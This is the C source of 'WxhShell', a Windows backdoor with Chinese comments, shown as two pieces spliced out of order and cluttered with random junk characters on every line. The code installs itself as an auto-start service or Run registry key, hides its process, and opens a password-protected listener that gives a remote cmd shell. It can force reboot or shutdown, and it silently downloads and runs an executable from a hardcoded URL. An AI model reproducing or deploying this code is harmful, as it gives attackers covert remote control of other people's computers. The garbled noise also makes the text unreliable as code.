    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;ps 0wswX  
    if(Boot(SHUTDOWN)) woQ UrO(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1N8:,bpsT  
    else { dvPK5+0W?  
    closesocket(wsh); 2n/cq K   
    ExitThread(0); K)e;*D  
    } {#-I;I:  
    break; qfRsp rRI"  
    } 2)_Zz~P^f  
  // 获取shell IP#w  
  case 's': { BZ2frG\0&I  
    CmdShell(wsh); 0rnne L  
    closesocket(wsh); 7/$r  
    ExitThread(0); F 7v 1rf]  
    break; oP[R?zN  
  } Y~FN` =O  
  // 退出 Bo)N<S_=^  
  case 'x': { B,2oA]W"S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mmN!=mf*  
    CloseIt(wsh); ;nzzt~aCC  
    break; h-0#h/u>M  
    } w6b\l1Z  
  // 离开 ?^y!}(  
  case 'q': { |j?iD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M/!5r  
    closesocket(wsh); aPR0DZ@  
    WSACleanup(); \=3fO(  
    exit(1); _'CYS3-P3  
    break; E{):z g  
        } etcpto=Mo  
  } BQ[,(T`+R  
  } (z8^^j[  
fga{ b7  
  // 提示信息 &]d-R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a$}n4p  
} cJIA/HQe  
  } u]<7}R@s  
*hm;C+<~  
  return; .>/Tc  
} g8+Ke'=_  
rM|] }M=_V  
// shell模块句柄 APne!  
int CmdShell(SOCKET sock) D@-'<0=  
{ ,McwPHEMB  
STARTUPINFO si; c8R#=^ DD  
ZeroMemory(&si,sizeof(si)); 8w 2$H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3#d?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '[T#d!T  
PROCESS_INFORMATION ProcessInfo; In3},x +$  
char cmdline[]="cmd"; ;*~y4'{z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KG2ij~v  
  return 0; GnCO{"n  
} ])v,zp"u  
Y6&B%t<bo  
// 自身启动模式 ].A>ORS/  
int StartFromService(void) != @U~X|cu  
{ qGAb h  
typedef struct tf:4}6P1  
{ X+R?>xq{=h  
  DWORD ExitStatus; wZAY0@pA  
  DWORD PebBaseAddress; I: j!A  
  DWORD AffinityMask; lZ\Si  
  DWORD BasePriority; *8WcRx  
  ULONG UniqueProcessId; 1cA4-,YO>  
  ULONG InheritedFromUniqueProcessId; vk^/[eha  
}   PROCESS_BASIC_INFORMATION; (Lp$EC&%6  
KS9 e V  
PROCNTQSIP NtQueryInformationProcess; rM{3]v{~  
ptA-rX.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ts~MkO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s#nd:$p3  
+"~~; J$  
  HANDLE             hProcess; }3}{}w0Y  
  PROCESS_BASIC_INFORMATION pbi; }mhD2'E  
4R;6u[ a]u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |afzW=8'  
  if(NULL == hInst ) return 0; [~%\:of70n  
<"&I'9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o<pb!]1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G`Ix-dADJm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =7*k>]o  
vWGjc2_  
  if (!NtQueryInformationProcess) return 0; CyWaXp65  
=m+'orJ1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +!'rw D  
  if(!hProcess) return 0; + A=*C  
.b3c n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v?9  
 e>FK5rz  
  CloseHandle(hProcess); UNc[h&@_  
H&yK{0H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ec$kcD!  
if(hProcess==NULL) return 0; cb9ndZ)v.  
 {[i 37DN  
HMODULE hMod; D:r+3w:l]  
char procName[255]; _ @U11|  
unsigned long cbNeeded; 8M"0o}wx  
>f !  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -0tHc=\u(  
b }^ylm  
  CloseHandle(hProcess); *8a8Ng  
ne~=^IRB  
if(strstr(procName,"services")) return 1; // 以服务启动 B\tP{}P8{  
DGQGV[9%4C  
  return 0; // 注册表启动 _Di";fe?  
} _xHEA2e!  
m$w'`[H  
// 主模块 fD1a)Az  
int StartWxhshell(LPSTR lpCmdLine) a$7}41F[~s  
{ *h H\H  
  SOCKET wsl; )S,Rx  
BOOL val=TRUE; &B;M.sz~C4  
  int port=0; *k(|r>  
  struct sockaddr_in door; L^7"I 4=(D  
:*/'W5iM  
  if(wscfg.ws_autoins) Install(); a$~pAy5C  
b!pG&7P  
port=atoi(lpCmdLine); Hxw 7Q?F  
j$he5^GC  
if(port<=0) port=wscfg.ws_port; ;QiSz=DyA  
k9'`<82Y  
  WSADATA data; ^xpiNP!?a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pd~{XM,yfW  
C `>1x`n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wcd1.$ n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kc%GxD`  
  door.sin_family = AF_INET; 3fb"1z#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sK&[sN33  
  door.sin_port = htons(port); u=U. +\f5  
|$)+h\h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `L. kyL  
closesocket(wsl); pc=f,  
return 1; yLDv/r  
} @u.%z# h"1  
7a0kat '\  
  if(listen(wsl,2) == INVALID_SOCKET) { Q#Vg5H4  
closesocket(wsl); V"r2 t9A  
return 1; ZbZCW:8>k  
} zS6oz=  
  Wxhshell(wsl); HZ+l){u  
  WSACleanup(); -/7[\S  
XITh_S4fs=  
return 0; SGp}(j>  
Q)$RE{*-  
} 15 /lX  
\QZ~w_  
// 以NT服务方式启动 qrK\f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y\M Kd[G7  
{ "P@jr{zvMd  
DWORD   status = 0; x9U(,x6r  
  DWORD   specificError = 0xfffffff; BwpSw\\?@  
-VO&#Mt5u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IGtpL[.;/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; soTmKqj E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^`MGlI}   
  serviceStatus.dwWin32ExitCode     = 0; f\{ynC2m  
  serviceStatus.dwServiceSpecificExitCode = 0; 3T|xUY)G4  
  serviceStatus.dwCheckPoint       = 0; $YNWT\FE  
  serviceStatus.dwWaitHint       = 0; Fr,qVYf  
O\"k[V?.V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zo^34wW^  
  if (hServiceStatusHandle==0) return; !qQ B}sAf  
&.ilku/  
status = GetLastError(); V=?qU&r<+  
  if (status!=NO_ERROR) k v>rv37u  
{ lDV}vuM<4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {?zBc E:  
    serviceStatus.dwCheckPoint       = 0; 5xsGSoa+  
    serviceStatus.dwWaitHint       = 0; Kz>Bw;R(  
    serviceStatus.dwWin32ExitCode     = status; EV$$wrohQ`  
    serviceStatus.dwServiceSpecificExitCode = specificError; jnu!a.H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>$s>})Y  
    return; REj<2Lo  
  } \a .^5g  
[PI!.9H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /4!.G#DLQ  
  serviceStatus.dwCheckPoint       = 0; Si:$zGL$(  
  serviceStatus.dwWaitHint       = 0; G|h@O'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *MG*]\D  
} 5r-OE-U{  
JSAbh\Mq6  
// 处理NT服务事件,比如:启动、停止 hbOyrjan x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NhgzU+)+  
{ )yj:P  
switch(fdwControl) fGz++;b<S  
{  u51%~  
case SERVICE_CONTROL_STOP: qTA,rr#p0  
  serviceStatus.dwWin32ExitCode = 0; /M3UK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Nt_LsH  
  serviceStatus.dwCheckPoint   = 0; \mIm}+!H  
  serviceStatus.dwWaitHint     = 0; L  (#DVF  
  { A'=,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,(f3Ik0O  
  } ^s;xLGl]  
  return; *2(W`m  
case SERVICE_CONTROL_PAUSE: @}8~TbP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; us0{y7(p  
  break; 6zf3A:]&{  
case SERVICE_CONTROL_CONTINUE: cj5; XK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !gKz=-C  
  break; 1\{_bUZ&  
case SERVICE_CONTROL_INTERROGATE: Bw`7ND}&  
  break; UgBD| ~zu  
}; @_L:W1[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wyVQV8+&>  
} A;'*>NS  
'ZUB:R@[  
// 标准应用程序主函数 p[J 8 r{'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3%NbT  
{ H ({Y  
z/Kjz$l!  
// 获取操作系统版本 L4x08 e  
OsIsNt=GetOsVer(); 3SMb#ce*o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); itpljh  
A{QXzoWkg0  
  // 从命令行安装 DJGq=*  
  if(strpbrk(lpCmdLine,"iI")) Install(); v Wt{kg;  
@}r2xY1  
  // 下载执行文件 D rMG{Yiu  
if(wscfg.ws_downexe) { e]qbh_A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5'mpd  
  WinExec(wscfg.ws_filenam,SW_HIDE); yE6EoC^  
} ]%4rL S  
@TWtM#  
if(!OsIsNt) { [Dv6z t>  
// 如果时win9x,隐藏进程并且设置为注册表启动 CB1AL]|3  
HideProc(); L( B(x>w  
StartWxhshell(lpCmdLine); 33*NgQ;&~'  
} $h()% C7s  
else p^(gXzW  
  if(StartFromService()) Z`9yGaTO  
  // 以服务方式启动 l|Z<pD  
  StartServiceCtrlDispatcher(DispatchTable); yOQEF\  
else \dG#hH4ZD  
  // 普通方式启动 M.loG4r!  
  StartWxhshell(lpCmdLine); >JWW2<  
UojHlTg#bT  
return 0; f5droys9  
} Og8'K=O#  
|fd}B5!c  
GY[+HgT  
Z ^w5x:  
=========================================== [|NgrU_.  
+=qazE<:0  
fK'qc L  
2 ~zo)G0  
gEBwn2  
I {o\d'/  
" , id`=L=  
\!_:<"nX.  
#include <stdio.h> MUs~ZF  
#include <string.h> jcuC2t  
#include <windows.h> ~:|qdv%\  
#include <winsock2.h> u>cU*E4/  
#include <winsvc.h> ^9ZW }AAO  
#include <urlmon.h> 3o>.Z;  
|iJ+e -_R  
#pragma comment (lib, "Ws2_32.lib") !8#!P  
#pragma comment (lib, "urlmon.lib") 5ZPe=SQ{  
sY#iGEf  
#define MAX_USER   100 // 最大客户端连接数 :M%s:,]R  
#define BUF_SOCK   200 // sock buffer hny):59f  
#define KEY_BUFF   255 // 输入 buffer l Zq`,E_L  
>h+G$&8[ y  
#define REBOOT     0   // 重启 02EbmP  
#define SHUTDOWN   1   // 关机 :2\H>^u V  
s)e'}y  
#define DEF_PORT   5000 // 监听端口 =u+.o<   
N-+`[8@(P<  
#define REG_LEN     16   // 注册表键长度 6kc/  
#define SVC_LEN     80   // NT服务名长度 5nhc|E)C  
G#~6a%VW  
// 从dll定义API ic+tn9f\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t\p_QWnF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !{L6 4qI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S(5aJ[7Zm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F%v?,`_&I  
OFtAT@ =O  
// wxhshell配置信息 'za4c4b*u  
struct WSCFG { Hsoe?kUHF  
  int ws_port;         // 监听端口 ,uFdhA(i@'  
  char ws_passstr[REG_LEN]; // 口令 *Y2d!9F}Sa  
  int ws_autoins;       // 安装标记, 1=yes 0=no :e&P's=  
  char ws_regname[REG_LEN]; // 注册表键名 wF`9}9q  
  char ws_svcname[REG_LEN]; // 服务名 abvA*|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :h|nV ~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TAbC-T.EV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tvC7LLNP<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @Lj28&4:<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (S@H'G"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r}gp{Pf7e  
t-vH\m  
}; & q(D90w.  
~IB~>5U!  
// default Wxhshell configuration zqq$PaH*  
struct WSCFG wscfg={DEF_PORT, xV h-Mx+M  
    "xuhuanlingzhe", [}/\W`C  
    1, S"Q$ Ol"  
    "Wxhshell", oXR%A7  
    "Wxhshell", o,fBOPIN  
            "WxhShell Service", ={a8=E!;  
    "Wrsky Windows CmdShell Service", 8-HMKD#V  
    "Please Input Your Password: ", k($N_XlE  
  1, TT(d CHft  
  "http://www.wrsky.com/wxhshell.exe", "~f=7  
  "Wxhshell.exe" 'WUevPmt  
    }; 8#Q=CTjF  
iCouGd}  
// 消息定义模块 _~M*XJ] `  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; olC@nQ1c*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >D';i\2j&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jocu=Se@  
char *msg_ws_ext="\n\rExit."; 4Qr16,Us  
char *msg_ws_end="\n\rQuit."; |7jUf$Q\p  
char *msg_ws_boot="\n\rReboot..."; l6X\.oI  
char *msg_ws_poff="\n\rShutdown..."; !5~{?sr>  
char *msg_ws_down="\n\rSave to "; 6m$,t-f0b  
:EK.&% 2  
char *msg_ws_err="\n\rErr!"; o <lS90J  
char *msg_ws_ok="\n\rOK!"; k++Os'hSEY  
(wNL,<%~  
char ExeFile[MAX_PATH]; N[~"X**x  
int nUser = 0; D/CSR=b  
HANDLE handles[MAX_USER]; )ow|n^D($M  
int OsIsNt; T/%s7!E  
\h%/Cp+p  
SERVICE_STATUS       serviceStatus; x)h p3&L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C^po*(W6  
?PIOuN=  
// 函数声明 K"cN`Kj<*-  
int Install(void); 8"a[W3b  
int Uninstall(void);  \|Qx`-  
int DownloadFile(char *sURL, SOCKET wsh); T j7i#o  
int Boot(int flag); 5o~;0K]  
void HideProc(void); Ksq{=q-T  
int GetOsVer(void); dpO ZqhRs.  
int Wxhshell(SOCKET wsl); io]e]m%  
void TalkWithClient(void *cs); -vXX u;frt  
int CmdShell(SOCKET sock); :bLLN  
int StartFromService(void); FuNc#n>  
int StartWxhshell(LPSTR lpCmdLine); CL*i,9:NR  
+oY[uF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C?bq7kD:H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^/wvHu[#  
Rld1pX2v  
// 数据结构和表定义 A|#9  
SERVICE_TABLE_ENTRY DispatchTable[] = r^ ?Qo  
{ RZ!-,|"cwL  
{wscfg.ws_svcname, NTServiceMain}, ta*B#2D>  
{NULL, NULL} ,%+i}H,3  
}; 6xs_@Vk|d  
/-wAy-W  
// 自我安装 kzhncku  
int Install(void) g4WN+y`  
{ i6)$pARp  
  char svExeFile[MAX_PATH]; .`84Y  
  HKEY key; Z-RgN  
  strcpy(svExeFile,ExeFile); aClXg-  
ic:_v?k  
// 如果是win9x系统,修改注册表设为自启动 VRYj&s'@  
if(!OsIsNt) { [N}:Di,S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) 5r*2I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uL^Qtmm>M  
  RegCloseKey(key); G"bItdb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zV\\T(R)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QvK-3w;=  
  RegCloseKey(key); m4{F-++dk  
  return 0; yz}Agc4.I  
    } F:.rb Ei  
  } AF4:v<EN  
} @Y'BqDFlZ  
else { Gb6t`dSzz  
}g:y!p k  
// 如果是NT以上系统,安装为系统服务 nz:I\yA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `<Xq@\H  
if (schSCManager!=0) #`5{?2gS9  
{ lzz rzx^  
  SC_HANDLE schService = CreateService j4L ) D  
  ( f%0^89)  
  schSCManager, "VxZnT  
  wscfg.ws_svcname, vgSs]g  
  wscfg.ws_svcdisp, @Iz vObK  
  SERVICE_ALL_ACCESS, %EYh5 W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P SDzs\s  
  SERVICE_AUTO_START, C2;qSKG3{m  
  SERVICE_ERROR_NORMAL, 0FfBD[E:  
  svExeFile, &k+G^ !=s#  
  NULL, Paz yY   
  NULL, xQX,1NbH5  
  NULL, jk2h"):B>  
  NULL, L+7j4:$B8  
  NULL l@Vl^f~P  
  ); woJO0hHR  
  if (schService!=0) =e/{fUg8f  
  { 'f9 fw^  
  CloseServiceHandle(schService); 5n,?>> p$  
  CloseServiceHandle(schSCManager); E.]sX_X?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7pDov@K<{  
  strcat(svExeFile,wscfg.ws_svcname); h V@C|*A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <JE-#i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TIbqUR  
  RegCloseKey(key); jW5n^Y)  
  return 0; sw{,l"]<  
    } 76a+|TzR  
  } vr<6j/ty  
  CloseServiceHandle(schSCManager); $}0q=Lg%wv  
} 0S <;T+WA  
} /T`L;YE  
"Zd4e2>{M\  
return 1; B#'TF?HUEn  
} TQDb\d8,f  
!uLW-[F,  
// 自我卸载 QLYb>8?"C  
int Uninstall(void) bE _=L=NG  
{ R9Wh/@J]  
  HKEY key; e0%?;w-TL  
_Z'j%/-4@D  
if(!OsIsNt) { OI"vC1.5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /gZrnd?  
  RegDeleteValue(key,wscfg.ws_regname); Qhb].V{utV  
  RegCloseKey(key); 0UeDM*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SovK|b &  
  RegDeleteValue(key,wscfg.ws_regname); l\7NR  
  RegCloseKey(key); '+ 1<7jl&I  
  return 0; s0"S;{_#  
  } r+fR^hv  
} K*Y.mM)  
} :nYl]Rm  
else { #W,BUN}  
_sIhQ8$:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B`)o?GcVN  
if (schSCManager!=0) VyH'7_aU  
{ z"8%W?o>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WmTSxneo  
  if (schService!=0) DytH } U"  
  { ~TC z1UWV  
  if(DeleteService(schService)!=0) { U2z1HIs  
  CloseServiceHandle(schService); !0:uM)_k  
  CloseServiceHandle(schSCManager); tL(B gku9  
  return 0; zRPXmu{t  
  } RWtD81(oC'  
  CloseServiceHandle(schService); Yz;Hu$/  
  } WbC|2!  
  CloseServiceHandle(schSCManager); 1a4HThDXP  
} ?ihkV? ;)  
} 'L)@tkklp  
%E Jv!u*-  
return 1; j(mbUB*  
} `#B|l+baq  
$},Y)"mI  
// 从指定url下载文件 .C(Ir  
int DownloadFile(char *sURL, SOCKET wsh) ~TwjcI*/  
{ w!o[pvyR$  
  HRESULT hr; ;rWgt!l  
char seps[]= "/"; A\Rkt;:  
char *token; CrC1&F\dq  
char *file; <wUDcF  
char myURL[MAX_PATH]; IBWUXG;  
char myFILE[MAX_PATH]; d)F~)}TFM  
|r5 np  
strcpy(myURL,sURL); $A\fm`  
  token=strtok(myURL,seps); }z6@Z#%q  
  while(token!=NULL) YG ,  
  { <RY5ZP  
    file=token; p Ux ~  
  token=strtok(NULL,seps); ocBfs^ aW  
  } MIvAugUOl  
,R/HT@  
GetCurrentDirectory(MAX_PATH,myFILE); r4/G&m[V  
strcat(myFILE, "\\"); p x1y#Q  
strcat(myFILE, file); 3/V&PDC*'  
  send(wsh,myFILE,strlen(myFILE),0); .w3.zZ0[  
send(wsh,"...",3,0); 9 lE[oAC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lR[[]Yn  
  if(hr==S_OK) "mc/fp  
return 0; ($EA/|z  
else 9,\b$?9  
return 1; |D<J9+  
~*RG|4#  
} Br.$:g#  
t%Hg8oya  
// 系统电源模块 yi*)g0M  
int Boot(int flag) <EFA^,3t%  
{ ,K=\Y9l3  
  HANDLE hToken; 8px@sXI*`  
  TOKEN_PRIVILEGES tkp; o-\ K]  
. (G9mZFV  
  if(OsIsNt) { 8enlF\I8g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jY'svD~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;Ak<O[  
    tkp.PrivilegeCount = 1; p`:hY`P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PjZsMHW%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ag=>F5  
if(flag==REBOOT) {  ZaJg$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mne4uW  
  return 0; - y[nMEE  
} >+y[HTf-  
else { rZ`ob x\S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9r.Os  
  return 0; N"SFVc_2  
} umZy=KHj  
  } ZGgKCCt  
  else { Rd~-.&   
if(flag==REBOOT) { 9TRS#iVL+*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %suSZw`  
  return 0; 6L[Yn?;  
} u;p.:{'  
else { SV#$Cf g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  734)s  
  return 0; d_s=5+Yj  
} L+,p#w  
} P{j2'gg3  
g&eIfm  
return 1; i]&C=X  
} `|?K4<5|  
)90Q  
// win9x进程隐藏模块 3)\jUVuj  
void HideProc(void) U;QTA8|!&  
{ dbM~41C6  
A+P9M \u.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \6o%gpUkD  
  if ( hKernel != NULL ) pw|f4c7AH  
  { B1)gudP`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {3n|=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4po zTe  
    FreeLibrary(hKernel); n{sF'n</  
  } SQ%B"1&$D  
;NNYJqWd^]  
return;  uYVlF@]  
} q6DuLFatc*  
&Omo\Oq&W>  
// 获取操作系统版本 7\x7ySM  
int GetOsVer(void) ZlQ@k{Es~  
{ nvY3$ Ty  
  OSVERSIONINFO winfo; Tbf't^Ot$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3!E*h0$}  
  GetVersionEx(&winfo); i) v ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <q@/ Yy32  
  return 1; @@~OA>^  
  else j}9][Fm1*  
  return 0; {l$DNnS  
} /)RyRS8c  
ILi{5L  
// 客户端句柄模块 .Z%y16)T  
int Wxhshell(SOCKET wsl) eC`} oEz  
{ |f5WN&c  
  SOCKET wsh; l;{n" F  
  struct sockaddr_in client; %N5gQXg  
  DWORD myID; )CgKZ"  
@BQJKPF*  
  while(nUser<MAX_USER) x\( @ v  
{ iF]G$@rbU  
  int nSize=sizeof(client); We%HdTKT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;75m 9yGo  
  if(wsh==INVALID_SOCKET) return 1; %siBCjvo=  
<Y%km[Mh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 38ac~1HjE  
if(handles[nUser]==0) Gy}WZ9{  
  closesocket(wsh); dy/\>hu  
else 5cahbx1"  
  nUser++; r'bctFsD  
  } sBUK v(U)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \"=4)Huv  
dCq-&3?t  
  return 0; *}fs@"S   
} bY` b3  
TCShS}q;%  
// 关闭 socket z[Sq7bbYO  
void CloseIt(SOCKET wsh) j v9DQr  
{ Dp1FX"a)  
closesocket(wsh); VpmwN`  
nUser--; gbvM2  
ExitThread(0); wJ.?u]f@  
} K]c|v i_D  
scr`] tD  
// 客户端请求句柄 pO]{Y?X:  
void TalkWithClient(void *cs) %[3?vX  
{ HC1jN8WDY  
Ot,_=PP  
  SOCKET wsh=(SOCKET)cs; R=Qa54  
  char pwd[SVC_LEN]; E2.@zY|:  
  char cmd[KEY_BUFF]; w3,DsEXu  
char chr[1]; WFHS8SI  
int i,j; ng,64(wOY  
.`w[A  
  while (nUser < MAX_USER) { W`^euBr7R>  
ad <z+a  
if(wscfg.ws_passstr) { dU4  h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9gWR djK:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pI>yO~Ve  
  //ZeroMemory(pwd,KEY_BUFF); ^7b[s pqE  
      i=0; $a / jfpV  
  while(i<SVC_LEN) { Oe#*-  
(29h{=P'  
  // 设置超时 qH 1k  
  fd_set FdRead; a4a/]q4T  
  struct timeval TimeOut; ^wnlZ09J  
  FD_ZERO(&FdRead); %w9/ gD  
  FD_SET(wsh,&FdRead); Z"ce1cB  
  TimeOut.tv_sec=8; k[_)5@2  
  TimeOut.tv_usec=0; vI84= n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W~" 'a9H/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gteG*pi  
ajr);xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ ^ JhncL  
  pwd=chr[0]; !V%h0OE\  
  if(chr[0]==0xd || chr[0]==0xa) { whH_<@!  
  pwd=0; JXT%@w>I  
  break; tccw0  
  } ,=Q;@Z4 vJ  
  i++; /R/\>'{E&c  
    } yM_ta '^$  
F+!w[}0  
  // 如果是非法用户,关闭 socket U3UKu/Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |gV$ks\<  
} _1>Xk_  
adCTo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "c+j2f'f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jRn5)u  
DHI%R<  
while(1) { )Z/L  
hq[:U?!Tt  
  ZeroMemory(cmd,KEY_BUFF); to2#PXf]y  
ejF GeR  
      // 自动支持客户端 telnet标准   NE~R&ym9  
  j=0; HQ187IwpTm  
  while(j<KEY_BUFF) { /JcfAY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~8oti4  
  cmd[j]=chr[0]; 8D H~~by  
  if(chr[0]==0xa || chr[0]==0xd) { Sa8KCWgWh  
  cmd[j]=0; U{`Q_Uw@$:  
  break; 6np  
  } {4C/ZA{|l  
  j++; wI0NotC  
    } "r+v^  
R5"5Z?'  
  // 下载文件 a+-X\qN  
  if(strstr(cmd,"http://")) { c }-AD r9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bd++G'FZ  
  if(DownloadFile(cmd,wsh)) t^k^e{,q#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~m{'O`  
  else Q  *]d[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wx8oTN  
  } Rfx}[!<{N  
  else { c>$PLO^  
uc~/l4~N  
    switch(cmd[0]) { {0(:5%  
